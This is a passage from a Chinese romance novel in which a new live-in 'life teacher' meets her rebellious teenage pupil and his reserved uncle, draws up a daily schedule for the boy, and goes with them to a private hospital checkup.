无法控制的,“他真的很好看”“红豆生南国,恩人是男模”等没营养的话从脑子里冒出来,乔听月的眼皮和脸皮一同燥热。
她心中浮现出一个大胆的猜想,但眼下明显不是求证的好时机,她要淡定,要拿出职业素养,不能给罗老师丢人。
乔听月忽视将他吵醒的事实,对他笑,音调平稳:“先生您好,又见面了,我是陆先生为祝承信同学请的生活老师。”
“嗯,”他声音很哑,顿了一会儿,接着说,“我是陆忱。”
猜对了。
恩人就是陆忱。
乔听月在女生中算高个子,面对陆忱时还是要仰头,“您帮了我两次,我十分感谢您。”
“举手之劳。”
陆忱攥着门把手的手指微微收紧,尽力压下嗓底的懒意,缓缓开口:“老师贵姓?”
4. 换装
话音刚落,一种名为尴尬的气息在两人之间蔓延。
原来,他根本不记得她的名字!
乔听月庆幸自己化了妆,肉粉色的腮红掩盖了她此时爆红的脸色,教师的尊严不允许她低头,否则她必然要找个地缝钻进去,连夜挖地道离开陆家。
“我姓乔,”她强装自然地接话,“我叫乔听月。”
“我知道。”陆忱应声,眼底闪过不明显的懊恼。
知道还问,害得她自信差点碎成一片片。
陆忱侧身让路,抬手做了个请的手势,“乔老师请进,一次性拖鞋可以吗?”
“我可以穿鞋套。”乔听月下意识摸背包,却见陆忱弯腰打开了鞋柜,她收回手安静等着。
睡袍可真结实。
不是,她的意思是睡袍品控很好。
睡袍是丝绸质地,随着主人弯腰的动作顺滑垂落贴合肌肤,勾勒出男人精壮的腰身。
乔听月只看了一眼,触电似的扭过头,脑海中滚动播放“和学生家长沟通的正确方法”“与学生家长保持合适距离的必要性”以及一些老师被纠缠却惨遭开除的经典案例。
陆忱拆开包装,手指勾着鞋面递到乔听月面前,顺着她的视线看向羽毛台灯,以为她好奇,主动为她介绍:“去年锦新办社会实践,小信去二手市场做志愿者,看见几个幼儿园小孩卖手工台灯,抵不住热情推销,就买了一台。”
怪不得看起来格格不入。
很好,与家长讨论学生的日常,这才是正确展开。
回到擅长的领域,乔听月快速分辨陆忱透露的信息,锦新高中是陆氏旗下的私立高中,祝承信作为董事长的孙子地位超然,在这种情况下依旧按部就班参加集体活动,面对小朋友时容易心软,初略判断少年遵规守纪品行良好,只是单纯步入叛逆期。
“老师换拖鞋吧,”陆忱再次提醒,“我带你去找小信。”
换好脱鞋,乔听月跟着陆忱上楼,听他介绍别墅的情况。
“电梯在杂物间右侧,平时只有不方便的时候才会用,因为它很慢,上楼之后还是要走很久。
“我和小信住二层,其他工作人员住西边小楼,只有固定时间上岗,以后你们也许会遇见。
“三层是娱乐层,休息时可以上去转转,算是工作福利。”
陆忱这人……
意外的健谈啊。
乔听月不熟悉环境,怕踩空摔倒的悲剧历史重演,走着走着便落后了两级台阶,陆忱察觉到她跟不上,悄然放慢了速度。
重回平行线,陆忱看向身侧的少女,他们之间能塞进半个人,是安全且礼貌的社交距离。
“乔老师。”
乔听月脚步一顿,抬头,“嗯?”
“来我这边吧,”陆忱拍拍扶手,“扶着就不必担心了。”
乔听月和他换了位置,安全感油然而生,她如释重负,笑道:“谢谢您陆先生,我真的太怕摔倒了。”
陆忱被她笑得一怔,很快回神,她已经继续往上走了,乌黑柔顺的马尾辫轻轻摇晃。
错过了用玩笑缩短距离的最佳时机,他默默跟上去,声线略沉:“不用这么客气。”
两人直接上了三楼,最终在一扇挂着“提示牌”的门前站定。
“提示牌”很粗糙,数学模拟卷四角粘着透明胶,马克笔写着“请勿打扰”,67分大喇喇摆在上边。
乔听月沉默,偷偷打量身边的男人,祝承信这手字绝对是跟他舅舅学的吧。
那分数,也有可能一脉相承?
陆忱后悔对外甥的管教太宽松,竟然让他在乔听月面前如此丢人,他撕下试卷,神色认真,“我一定好好批评他。”
“倒也……”不用。
乔听月眨眼,她是生活老师来着,不管学习的。
没拦住,陆忱推开门,手中试卷沙沙响,“祝承信,谁教你这么浪费试卷的?”
祝承信吓了一跳,限量款手柄没拿住掉在地毯上,游戏角色被击中,屏幕褪色成黑白,他来不及心疼,满脑子都在想舅舅为什么突然生气。
“舅舅,我错了!”
遇事不决先道歉。
乔听月忍不住扬起唇角,微微歪头,越过陆忱的手臂看向未来学生。
都说外甥像舅,祝承信和陆忱有六分相似,少年盘腿坐在地毯上,微分碎盖挡住额头,认错态度极其诚恳,主打一个乖巧。
乔听月在观察祝承信,祝承信却像见鬼似的,先是懵懂,再是怀疑,最后看了眼舅舅,绷住层次复杂的表情。
“咳,”祝承信站起来,飞快扫了眼乔听月,“舅舅,这是我同学吗?”
不怪祝承信误会,乔听月长了张娃娃脸,淡妆和素颜没太大区别,日常穿搭以舒适为主,从陆忱身后笑着露面,比他同学还活泼精神。
没得到回答,祝承信扯了下陆忱的袖子,睡袍更加松垮了。
乔听月立刻别开眼,视线随便落在一处,睫毛眨动的频率微微加快。
陆忱若有所思,抿紧睡袍,“好好说话。”
祝承信凑近,“舅舅,我同学在呢,给点面子。”
屋里两个成年人,一个是老师预备役,一个是他亲舅舅,思绪一转就解码了他的小心思。
乔听月心里再加两笔:误以为她是同学,和同学关系陌生;在异性面前注重形象,是青春期的正常现象。
后者是重点,乔老师决不允许学生早恋。
陆忱把试卷拍到他胸口,“这是给你请的生活老师,乔听月老师,赶紧打招呼。”
祝承信一秒红温。
乔听月配合地对他点头示意,“你好,祝同学,以后请多指教。”
“又是老师,”祝承信小声嘟囔,眼皮一耷,敷衍地摆摆手,“乔老师好,老师你能先出去一下吗,我和我舅舅有话要说。”
“当然可以。”
乔听月贴心地为他们关上门。
大概五分钟,陆忱从房间出来,表情还不错,看来舅甥没有发生冲突,不然乔听月就要头疼了。
陆忱一副无奈的模样,“外甥不听话让老师见笑了,以后还得老师多费心。”
他运用社交辞令轻车熟路,但偏偏太年轻,穿着睡袍随性慵懒,看起来比祝承信更叛逆。
乔听月官腔打得不太熟练,微笑道:“这是我的责任,我一定尽力。”
“那就不打扰了。”
目送陆忱下楼,少年冷酷的声音在耳边响起。
“你比他们都厉害,但是我不需要老师。”
祝承信不知道什么时候来到乔听月身后,乔听月算着距离,向前走了两步,转身,“不要突然在别人背后说话,很吓人。”
“吓到你了?”祝承信摊手,笑得恶劣,“那真是不好意思。”
乔听月不介意他的态度,对付叛逆少年她自有办法,“原谅你了,坐下聊?”
祝承信倚着门,抱起手臂,游戏室只有地毯和懒人沙发,老师大多端着架子,他要等她黑脸退出来,届时他就可以嘲讽——
乔听月在屏幕前坐下,正好在祝承信的位置旁边,中间可以塞下半个人,分毫不差。
乔听月没催他,自顾自拿起手柄研究起来,这东西她小时候玩过,不是高级货,但是大差不差,试了两个键,差点把祝承信记录删了。
“你别动了!”祝承信大步走过来,天知道他心脏差点跳出来,这可是熬夜打的记录,是他牛逼的功勋章。
“不好意思,”乔听月放下手柄,“很久没玩,跟不上时代了。”
祝承信臭着脸,“你不是老
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师吗?还玩游戏?”
“我将为教育事业奋斗终生,”乔听月温声细语,“但这不能说明我没有童年吧,小同学。”
这人怎么用哄小孩的语气跟他说话,祝承信嘴唇动了动,干巴巴道:“别这么叫我,你是老师,正经点。”
“那我叫你小信,”称呼的转变可以反应社交关系的变化,乔听月不等他拒绝,强硬地达成目的,“你可以叫我乔老师,叫姐也行。”
祝承信不理她,翻出存档接着玩,很明显,他对待历任老师的方式都是如此。
没人受得了冷暴力。
乔听月陪了一会,忽然起身。
祝承信的视线紧随其后。
乔听月拖了个懒人沙发过来,舒舒服服地躺下,翻出保温杯,打开杯盖,红枣银耳汤的味道席卷整个游戏室。
始作俑者吹了吹杯口,假模假式地揉腰,“老职业病了,腰空着不舒服,担待一下。”
祝承信舍不得用力捏他的珍贵手柄,只能狠狠咬牙这样子。他的家教按分钟算钱,头一回,他有了探究工资的欲望。
少年人藏不住心事,乔听月看出来也不问,安安静静陪他打游戏,偶尔喝口汤。
祝承信越玩越心焦,他感觉手里不是手柄,是算盘,扒拉一下一张钞票,半个小时,他快成散财童子了。
“哎呀,好可惜啊。”乔听月看着死去的角色,笑眯眯道。
祝承信深呼吸,忍不住出言讥讽:“你真的很欠揍你知道吗?”
“刚知道,”乔听月答得风轻云淡,收了笑模样,率先起身,“别玩了,下楼。”
“你命令我?”祝承信拔高嗓音,像只被戳中的刺猬,浑身的刺都竖起来,“你以为你是谁?我告诉你,就算我舅舅替你说话,我也不可能听你的。”
陆忱替她说话?
乔听月想到舅甥俩秘密谈话了五分钟,原来是陆忱在给他打预防针。
她单方面给陆忱打了个八分,好家长就该这样。
“跟陆先生有什么关系,”乔听月晃了晃手机,息屏状态下显示时间,“你外卖快到了,下楼吃饭。”
祝承信发了一半火,骤然被浇灭,一口气不上不下,憋得脸通红,半晌道:“这次算你赢了。”
乔听月欣慰点头,“我以为你会硬气点说不吃呢。”
祝承信原本是这么想的,但自从闻到红枣银耳汤的味道,那股饿劲抓心挠肝,要不是身边有个乔听月,他早就下楼觅食了。
不对,要不是乔听月,他根本不会这么饿。
他冷着脸,“身体是革命的本钱。”
两人一前一后离开游戏室,转过一层楼梯,迎面遇上陆忱。
半小时不见他仿佛变了个人,衬衫搭配不规则毛线背心,休闲西裤放了余量,一身温和的灰色调,让乔听月想起小说中描写的邻家哥哥。
抬起头,露出那双藏着锋芒的眼睛,陆忱还是陆忱,衣服只是一层伪装,再往深想,乔听月就想不明白了。
乔听月先入为主,“陆先生要出门?”
“不,”陆忱左手插着兜,“正打算叫小信吃饭。”
祝承信连跨三级台阶,拉着陆忱快步下楼,余光确定乔听月暂时没跟上,小声道:“舅舅,你怎么打扮这么S……”
顶着陆忱危险的视线,他吞回不太中听的两个字,“夸张。”
陆忱皱眉,“不好看?”
“太好看了,”祝承信恭维他,跃跃欲试,“哪个设计师,一会脱了给我试试。”
乔听月不远不近坠在后面,听他们嘀嘀咕咕,目光默默追随祝承信,像是对待一场实验,少年的每个动作、细微表情她都不放过。
看得太认真,以至于忽略了陆忱侧过脸说话时,视线在她脸上短暂停留,又迅速离开。
5. 疑虑
外卖是麻辣水煮鱼和两道时蔬,乔听月对此不予置评,只是好奇:“你这算午餐还是晚餐?”
祝承信咽下辣汤拌饭,回答道:“我这叫Linner。”
臭屁小孩,还拽英文。
乔听月本想说外卖高油高盐不健康,注意到祝承信眼里的挑衅,话锋一转:“陆先生,我身为小信的生活老师,有义务帮助他纠正生活作息,您认为呢?”
陆忱是典型的猫头鹰体质,活得昼夜颠倒,在健康作息这方面,祝承信甚至比他强点,前者知冷知热爱好吃饭,他忙上头了根本想不起来。
祝承信冷笑一声,坐等乔听月折戟沉沙。
陆忱思索片刻,“乔老师是专业的,一切都听你安排。”
祝承信顿时觉得碗里的饭不香了。
舅舅,你怎么就倒戈了呢!
乔听月对他的态度十分满意,接着说:“我会列一张作息表,希望我不在的时候陆先生可以监督一下小信。”
“你疯了?”祝承信撂下筷子,第一时间看向陆忱,他垂着眼隔绝旁人窥视的视线,手指轻轻在桌沿摩挲。
“我舅舅工作忙,哪有时间跟你过家家,我用不着作息表,你省省吧。”
“别急,按照合约要求,周一至周五我的工作时间是18点至22点,我会去接你放学,周末和寒假期间我的工作时间是朝九晚五,是否加班视情况而定,主动权在我,提醒一句,我加班要三倍工资。”
“你怎么不去抢!”祝承信不敢相信,他完全坐不住了,绕着餐桌转圈,“你就是看我打游戏而已,我要让我外公解雇你!”
“我同样不希望虚度光阴,放心,我不会限制你打游戏,”富三代嘛,陆老先生没指望孙子有什么不得了的建树,“劳逸结合,这是必要的娱乐时间。”
“听起来,我没什么需要做的。”陆忱插话。
“当然有了,”乔听月拿出提前准备好的空白时间表,点了点最后一行,“小信是高中生,他需要充足的睡眠,我身为生活老师,当然愿意承担监督学生按时睡觉的责任,但是我下班后,小信应该不太愿意理我。”
祝承信咬牙切齿,“你真懂我。”
乔听月回以宽容的微笑。
陆忱点了点桌面,压制住无能狂怒的祝承信,“这是家长应尽的义务,如果我有工作,当天会安排其他人。”
“那就辛苦陆先生了,”乔听月双眼弯弯,她相信陆忱会说到做到,“家里有小信的课程表吗,我想用作参考。”
“在我书房。”
书房是私人领地,陆忱输入密码时,乔听月礼貌地避开视线。
陆忱推开门,“抱歉,不能单留客人在书房。”
“我去餐厅写就行,我在门口等您。”
陆忱失笑,“我的意思是,我和你一起,不介意吧?”
介意什么,介意没能独享陆忱的书房?
她多大脸啊。
乔听月迷迷糊糊跟着走进去,陆忱的书房简约大气,两面书架墙,一面挂着山水画,她不懂鉴赏,但知道作者是历史书里赫赫有名的大佬。
书桌摆在落地窗前,花瓶里插了一束百合,来的路上,她见过玻璃花房,想来每天清晨会有人专门采花插花瓶。
陆忱拉开椅子请乔听月坐下,放下百叶窗免得阳光刺眼,从文件柜的第三层准确抽出一个文件盒,“这里还有他的班级信息和考试排名。”
乔听月伸手接过,由衷赞道:“您是个好舅舅。”
回应她的是短暂的沉默,陆忱眼底划过她看不懂的情绪。
“算不上,”陆忱淡淡地说,“老师工作吧。”
乔听月应了声,摊开笔记本研究文件。
锦新高中是私立学校,奉行精英教育,没有设立所谓的贵族部,特权在表面规则下稳定运行。祝承信在高二下转学到九班,人际关系一直处于不温不火的状态,没人敢得罪,想巴结又巴结不上。
课程表基本根据考纲走,体育课和社团活动比较亮眼,诸如马球、高尔夫、插花、茶艺等项目,祝承信选的是——
【体育课(选修):瑜伽】
【社团:书法】
乔听月揉了揉太阳穴,怀疑自己太累看错了,又看了一遍,是瑜伽无疑,她数不清今天第几次无语,年轻力壮的小伙子怎么选了个养老项目?
抻腿拉筋的,真是人不可貌相。
感觉脖子发酸,乔听月抬头活动颈椎,十分自然地,她看向书房内另一个人。
陆忱背对着她批阅文件,她猜测文件不合他心意,钢笔成了武器,一笔一划充满愤怒,几乎划破纸张。
好在陆忱养气功夫到家,没有毁坏文件,只是拿起手机,给某个人发了一条春风和煦的语音:“策划重做,再敷衍就带着团队领N+1。”
乔听月暗自咂舌,赶紧低头干活,她现在被解聘,N+1都没得领。
时间一分一秒过去,乔听月终于写好作息表,再抬头,陆忱对面的茶几上已经摆了一摞文件了。
可怕的办事效率。
她抻了个懒腰,抓住他换文件的契机,问道:“陆先生,能帮我看一下作息表是否合适吗?”
陆忱欣然同意,乔听月快步走到他身边,双手递出作息表。
陆忱同样双手接过。
乔听月压下心底的怪异,大脑处理了太多信息,等候的时候思维自主放松,她站在陆忱斜对角,像极了去老师办公室战战兢兢的学生。
不对,她才是老师。
学生当太久,一时半会没找准定位,现在坐下更尴尬,只盼着陆忱快点给她答复。
陆忱拿到作息表,第一印象是字如其人。乔听月的字很工整,是阅卷老师最喜欢的字体,偶尔连笔但不杂乱,倒是给一板一眼的字增添了活力。
“你这字,”陆忱找到话题,仰头和乔听月说话,少女眼睛水盈盈的,身体微微前倾做出倾听的姿势,他一时语塞,“坐下说吧。”
“不用,您看完之后我还要找小信商量。”
又不是上司和下属。
陆忱起身,“那边走边说,我也想听听小信的想法。”
两人重新回到游戏室,67分的卷子没再出现,因为没必要,祝承信把门反锁了。
有些家长被孩子拒之门外就仿佛天塌了一般,十八般武艺齐上阵,恨不得直接把门锯了。
陆忱情绪没有丝毫波动,敲了敲门,没做多余的动作,他笃定屋里的人会过来。
果然,祝承信只敢用锁门来反抗权威的舅舅,当真被找上门的时候,又怂得很快。
乔听月了然,薛定谔的叛逆,主要分人,看来陆老先生上了他的叛逆名单。
门里,祝承信闷声闷气:“我不需要作息表。”
陆忱多次为乔听月站台之后,他知道摆脱不了拥有生活老师的命运,但他不乐意接受乔听月安排他的作息,他觉得自己很健康,能吃能睡,上周体检还长高了两厘米。
“你先开门。”陆忱
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语气不容置疑。
没有一秒犹豫,门开了。
舅甥俩面面相觑。
陆忱知道,他说什么外甥都会听,但是看着他的脸又根本狠不下心,语气软下来:“体检结果我看过了,体重偏瘦,轻微营养不良,想是长时间熬夜和不规律饮食造成的,是舅舅疏忽,放任你不在意身体,舅舅跟你道歉。”
祝承信想过无数种可能,唯独没想到陆忱会跟他道歉,他急躁地抓头发,“这跟你没关系。”
他呼吸急促,背过身去,肩膀起起伏伏。
乔听月听得一头雾水,以陆家的条件竟把孩子养成小可怜实在不符合常理。看祝承信的表现,他对自己的身体状况很了解,可陆忱偏偏错误揽在自己身上,究竟在对她隐瞒什么。
这份兼职,任重而道远啊。
陆忱继续说:“乔老师的作息表舅舅看过了,很科学,坚持一阵就能形成良好习惯,试一试好不好?”
少年心思细腻敏感,被奉若神祗的舅舅哄一哄就红了眼眶,带着哭腔嗯了一声。
家长做好了学生的思想工作,乔听月自然不会掉链子,她抛开疑问,展开作息表,“这是我为你量身定制的,先试行一周,只要坚持下来,保证你青春活力无极限。”
“你当回春丹呢,”祝承信蹭了下眼睛,大声尖叫,“怎么这么长?!”
“你每天课表都不一样,作息安排当然会有细微差别,别在意这些,我先跟你说睡觉时间。”
“你先等等,学校每天都有体育课,我运动量足够了,你把周末健身删了。”
乔听月一脸“我真懒得揭穿你但你非要狡辩那也怪不得我”,她抽出压在下面的课程表,对着体育课指指点点,“锦新开了30多个选修项目,你选瑜伽,你怎么想的我还不知道?”
祝承信反驳:“你瞧不起瑜伽?”
乔听月叉腰,“你说个体式我听听,不许说摊尸式。”
祝承信嘴巴张了又合,“我记不住那些花里胡哨的。”
“很好,我现在怀疑你逃课了。”
“你别胡说,我们体育课算成绩,逃课要扣分的。”
乔听月快速反击:“你左侧同学是男是女,衣服什么样式,叫什么名字?”
“女的,紫色瑜伽服,叫宋诗灵。”祝承信答题结束,洋洋得意地抬高下巴。
乔听月偃旗息鼓,“陆先生,麻烦您关注一下这位宋诗灵同学。”
眼见外甥像斗胜的公鸡忽然被掐了脖子,陆忱轻轻笑了声,“好的乔老师。”
祝承信如遭雷击,“你,你套我话?”
“嗯哼,”乔听月一点不心虚,“择日不如撞日,睡眠时间从今晚开始执行,陆先生,还得麻烦您监督。”
陆忱点头,“我会的。”
安排好工作,和舅甥俩交换了联系方式,对祝承信再三强调不允许拉黑她之后,乔听月准时下班。
陆忱送她到入户门,她停下脚步,“陆先生留步,以后还要经常打扰,不必这么客气。”
陆忱从善如流,“我让司机送你到地铁站,就当交通补助。”
“那我就却之不恭了。”乔听月笑着应了,往陆忱身后看了看,祝承信没下来,正好方便她接下来要做的事。
她抿了抿嘴唇,与陆忱对视,神情严肃郑重。
“有什么想问我的吗,乔老师?”
陆忱看出来她心有疑虑。
少女眼眸单纯清澈,一眼望到底,再好懂不过。
6. 回应
乔听月心有所感,她想问的问题不一定会有答案,但她还是问了:“陆先生,小信的身体是刚刚出问题吗?您是真的反省,还是以退为进哄他就范?您相信我能为他的叛逆期提供帮助吗?”
她像在做论文初期报告,把遇到的问题整理到一起,汇报给经验丰富的老师们,希冀得到详细的解答。
陆忱觉得乔听月有做记者的潜质,嗅觉灵敏,问题切入角度尖锐,不怕得罪人,自信又大胆。
沉默,他们总是在门口沉默。
乔听月感到无力,反复告诫自己一个普通的生活老师无权探究陆家的秘密,可签了合约,祝承信就是她的学生,涉及到学生,她很难控制自己。
实习时,带教老师说新教师的责任感和使命感普遍偏高,万事奢求尽善尽美,很容易陷入内耗怪圈,多带几届就适应了。
她还是经验太少。
“抱歉。”乔听月声音很轻。
“不必道歉,我很高兴你把小信放在心上,”陆忱向前走了一步,让她看清眼中的真诚,“我只是在组织语言。”
“小信的身体关乎他父母,我不能替他告诉你,不可否认的是,我的确有责任,小信很独立,大事没有,小事找秘书,通常解决了我才知道,打游戏、吃外卖、熬夜、逃课,在我看来都不是大毛病,他外公倒是颇有微词。”
乔听月忽然想起齐珊珊的话。
【玩浑的,谁也玩不过陆二少。】
祝承信这点爱好,估计都是他舅舅玩剩下的。
一生操心的陆老先生。
“我不认为小信叛逆,这是他必不可少人的人生阶段,也是他自我保护的一种方式,他不需要家庭教师来管教他,他需要建立亲密关系,亲情、友情、爱情、师生情,只要不伤害他,我就支持。”
视线交汇,乔听月看见陆忱眼中小小的自己。
略有局促,但始终无畏。
天边,火烧云层层叠叠,点燃了天际线,霞光落下来,整个庭院披上橙黄的暖光。
乔听月小脸染了层金红色,眼神破开迷茫,坚定道:“请您放心,我会做到的。”
她无缝切换工作状态,“小信刚刚哭过,一定有很多心里话想对您倾诉,今天是您敲开他的心理防线,深入了解他内心世界的好时机,请您一定不要错过,我就先下班了。”
话已至此,陆忱再资本家也不能留她加班,只让她“路上小心。”
少女走进霞光里,陆忱长久地站在台阶上。
他说错了。
乔听月的眼眸不是浅潭,而是一汪清澈的漩涡,让他忍不住靠近,一旦放松警惕就要被卷进去,轻易让人放下心防是她的魅力。
他抬手摸耳朵,久违的倾诉欲,感觉不错。
“舅舅,她走了吗?”一道微小的声音传来。
陆忱转身,循着声音来源,看到趴在沙发后面的祝承信,“嗯,在家里别鬼鬼祟祟的。”
他往楼上走,忽又驻足,“小信,你有没有话跟舅舅说?”
“有的,”祝承信小鸡啄米,小跑到陆忱身边,“舅舅,你为什么同意安排作息表,我看你挺不愿意的啊。”
陆忱回忆,“我什么时候不愿意了?”
“就那样,”祝承信学他当时的反应。
陆忱考虑给外甥报个微表情课,“我只是在思考。”
“思考什么?”
“担忧生活老师工作时间太短,无法为你提供有效帮助,好在她朝九晚五,还可以加班。”
他语气和善,祝星信听得毛骨悚然。
“还有个问题。”
陆忱耐心十足,“问。”
“你刚刚进来的时候脸有点红,是不是中暑了?”
陆忱没说话,掏出手机拨通号码,“刘医生,明天体检再加一个脑CT。”
“体检?”
“明天上午,给你请假了,营养师明天上岗,禁止再点外卖,”陆忱无情下发通知,“还得请个健身教练,你想要男教练还是女教练?”
“男教练”。
“等等等等,”祝承信又反悔,“还是女教练吧,万一办公室恋爱了呢。”
还挺能操心。
“……行。”
——
乔听月抵达小区时天幕黑沉,路过水果店,她给乔望曦发微信。
【月亮】:姐,水果店山竹上新,要不要吃?
等了很久,乔望曦的回信姗姗来迟。
【姐姐】:我今天买了,你快回家吧。
【月亮】:好,马上到家。
走到单元楼下,仰头看见姐姐给她留了灯,长时间坐地铁的疲惫消散大半。
有车挡道,小草坪没铺石板,乔听月不得不绕大圈,她不认识车标,隐约感觉不属于小区户主。
果然,一个戴眼镜的陌生男人从楼里出来,手中拎着袋子,他先是瞧望远方,之后开门上车。
乔听月没放在心上,回家后还和姐姐谴责了一番男人乱停车的违规行为。
乔望曦给她剥山竹:“可能是有急事吧,今天工作还顺利吗?”
乔听月笑眯眯接受姐姐投喂,“很顺利,学生情绪稳定,没有特别叛逆,家长配合工作,很好说话。”
提到陆忱,她止不住脸热。当初在古湾,她以为他意有所图,今天见了面,他非但没有为难,反而彬彬有礼,分寸感十足,而且看她的眼神清清白白,不含丝毫杂质,根本就是她误会了。
真难为情。
乔听月不是报喜不报忧的性格,得到她一句准话,乔望曦十分放心,紧接着又开始询问安全问题,“下班时间那么晚,要不要我去接你?”
乔听月哪敢让她半夜出门,“真不用啦,陆先生会让司机送我到地铁站,交通很方便,我路上随时和你联系,你就把心放到肚子里吧。”
动作配合语言,乔听月摸到一个软乎乎的东西,“嗯?什么玩意?”
乔望曦拍开她的手,掀开小毯子,露出暖水袋。
暖水袋毛茸茸的,绒毛顺滑,灯光一晃甚至在发光,乔听月又薅了两把,“手感这么好,多少钱啊?”
“忘了,随便选的。”
乔听月以为她网购买的,没当回事,“以后有快递你告诉我,我上下班顺路取。”
吃了饭,姐妹俩靠在一起看电视,乔望曦的手机不停震动。
“谁啊,一个劲给你发消息。”乔听月坐直,伸手去拿。
乔望曦动作比她快,“公众号推文。”
乔听月不信,“什么推文这么高产?”
“三流账号,转发别人的,”乔望曦挨个打开,“你看。”
“我妈用了神奇秘方一口气爬上五层楼、九十岁老中医违背祖宗决定究竟为什么、九岁瘫痪男孩离开轮椅上演生命奇迹,”乔听月返回点进主页,发现是个商业微信,叫“白医生”,她直接删了,“姐,这种骗子不要加,忽悠你买保健品,买到维C还行,万一搞什么萤石治病就糟糕了。”
“内容还可以,就是标题夸张点。”
“标题党不可取,搞一些危言耸听的东西,内容都是AI生成。”
乔望曦点头,“知道了,小管家婆。”
乔听月直觉她在敷衍,想继续施法,被手机铃声打断了,她小声咕哝:“谁大半夜找我。”
【来电显示:祝承信舅舅(陆)】
接起电话,男声清润,含着几分笑意:“晚上好,乔老师,抱歉这么晚打扰你。”
乔望曦关了电视,指了指时钟,摇着轮椅离开。
乔听月用口型说“我尽快”,回应道:“晚上好陆先生,有什么急事吗?”
“是这样的,明天上午小信约了体检,作息表需要改动吗?”
乔听月想了想,“我可以陪同吗?”
“当然可以,明早八点半,我派司机接你。”
乔听月回绝:“不用麻烦,您把地址告诉我,我打车去就
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行。”
对面思忖片刻,“好吧,车费可以报销。”
没有废话,通话结束后陆忱发来地址定位。
【祝承信舅舅(陆)】:到了之后联系我,医院需要预约凭证才能进入。
【月亮】:好的陆先生。
放下手机,乔听月喊人:“姐,一起洗澡呀!”
另一边,陆忱躺在床上,盯着聊天框上方的“对方正在输入中”,直到文字消失也没看见第二句。
隔着个破手机,完全搞不懂啊。
——
翌日天蒙蒙亮,乔听月蹑手蹑脚离开家门。
私人医院环境很好,依山傍水,适合休养,乔听月下了滴滴,隔着大门看到不少病人在花园活动,虽然脸上带着病气,但很有精气神。
如果支付得起,让姐姐来住一段时间也不错。
乔听月看了眼手机,比约好的时间提前二十分钟,她给陆忱发消息。
【月亮】:早上好陆先生,我已经到医院门口了。
【月亮】:[照片]
【祝承信舅舅(陆)】:等我五分钟。
【月亮】:好的[可爱笑脸]
乔听月乖乖站在保卫厅外,她还穿着昨天下午那身单薄的风衣,北风夹着潮气阴冷刺骨,她立起领子,手指缩回袖子里。
陆忱根据照片找到她的时候正好看见这一幕,少女冻得频繁眨眼,双肩微微瑟缩着,像只可怜的小鹿。
“直接开过去。”
车子尚且没停稳,陆忱拉开车门,听见微不可闻的一句——
“救命,要冷死了。”
弱弱的,仿佛撒娇。
“乔老师,上车。”陆忱叫她。
乔听月眼睛咻的亮了,“陆先生!”
上了车,她拉下拉链,露出粉红的鼻尖,稍显羞赧,“早上太着急,没注意降温了。”
“甜牛奶,早上煮的。”
乔听月眼里惊喜,捧到手心热乎乎的,“谢谢。”
“三明治,没放沙拉,口感可能差一点。”
乔听月正好没吃早餐,接过来又说“谢谢”,声音略带腼腆。
陆忱变魔术似的从保温箱里掏出个鸡蛋,“剥好的,给辛苦加班的员工准备员工餐是应该的,别说谢谢。”
凡事讲究你来我往,不让说谢谢还可以礼貌问候,乔听月问他:“陆先生,您吃早饭了吗?”
“没吃——”幽怨的声音飘过。
乔听月脊背一僵,平复之后回头,祝承信一脸不善,眼珠子黏在三明治上,阴恻恻的,感觉马上就要桀桀怪笑。
“我以为你在睡觉,早上好小信。”
“早上不好,”祝承信生无可恋地栽倒回去,“尤其是吃早餐的。”
人在饥饿状态下会比平时暴躁,乔听月选择包容可怜的少年。
陆忱低声道:“小信,你吓到老师了,给老师道歉。”
他注意到了。
乔听月越害怕就越镇定,以至于被人误会成天生大胆。每次聚会玩密室她都走在第一个,直面鬼脸暴击,后脑勺承受众人惊叫,偏偏她一声不吭,朋友以为她稳如老狗,实际她心里一万只尖叫鸡扯着脖子尖叫。
除了家人,陆忱是第一个发现她会害怕的人。
她捏着三明治的手紧了紧,“没事,玩笑而已。”
舅舅的话是圣旨,祝承信再不情愿也会照做,不过他猜测昨天恶作剧成功,心情好上许多。
“又吓到你了,真对不起。”
车开进地下停车场,乔听月快速吃完早餐,一行人下车。
恰在此时,一辆车经过,驶进职工区。
乔听月扫到车标后陷入沉思。
“怎么了?”陆忱在前面等她。
思绪截断,乔听月快步走到陆忱身边,掩下心里那股异样,摇摇头,“没事,我们上去吧。”
陆忱眯了眯眼。
怎么突然就心不在焉了。
7. 拒绝
电梯直接升上五层,门打开,早有人等着。
为首的男人是医院副院长,大概四五十,他主动与陆忱握手,“陆总您好,体检流程我们已经安排好了,院长会议还有半小时结束,请您在会客室稍坐片刻。”
“不必,直接体检,”陆忱不喜欢没必要的客套,看了眼他胸牌,“今天是私人行程,王院长有事先忙。”
王副院长自是答应,留下一男一女两个护士,带着一众医生离开。
护士沿着最佳路线带他们各个科室轮转。
到了采血站,祝承信由护士领进去,两三分钟后,他举着胳膊出来,脸色更难看了。视线逡巡一圈,陆忱不在,乔听月在和男护士说话。
男护士手中的体检单靠近乔听月那侧,她微微低头,指尖在纸张上划动,唇瓣粉嫩饱满,张张合合不停询问,男护士微笑着解答。
祝承信远远喊她:“喂!该下一项了!”
“在医院不要大喊大叫,”乔听月小声提醒,看他仍然紧紧压着棉球,眼睛弯弯,“怕疼啊?”
祝承信不搭理她。
乔听月走到他左侧,帮他拎着半边外套,“别压得太用力,今天这只手不能提重物,最好24小时别碰水,免得感染了。”
祝承信用嗓子眼“哼”了一声,“啰嗦,有吃的吗,我饿了。”
“有,但你现在不能吃。”乔听月给他看背包,里面装了菠萝包和几块糖果,原本是她的早餐。
菠萝包味道香甜,买的时候刚出炉,热气在背包里散逸,祝承信的馋虫立马被勾起来,“为什么,我花钱买。”
乔听月无情拒绝,“陆先生认为你营养不良很可能和胃有关,所以下一项检查是胃镜。”
她递给他一支口服液。
祝承信警惕后仰,“什么东西?”
“麻药,”乔听月平淡地说,“也能垫肚子。”
祝承信裂开,“我舅舅呢?”
“院长请他去喝茶,他把你托付给我了,”乔听月晃晃麻药,“别拖延了,起效还得一阵,长痛不如短痛。”
“再等会,我没手。”
“没事,我喂你。”
说着,乔听月真把麻药举到他嘴边,吸管戳了戳他干巴起皮的嘴唇,“来,啊——”
“你是不是有病!”祝承信一把抢过麻药,一口吸干,麻药滋味并不好,他鼻子皱了皱,强忍着没露怯。
他龇牙咧嘴地放狠话:“我一定会让我外公解雇你。”
乔听月随他闹。
小破孩,治不了你了。
接下来就是坐等麻药起效,两人相安无事许久,期间护士多次询问祝承信感受,祝承信舌头无知觉之后就不太配合了。
等到医生叫人,祝承信和乔听月同时起身。
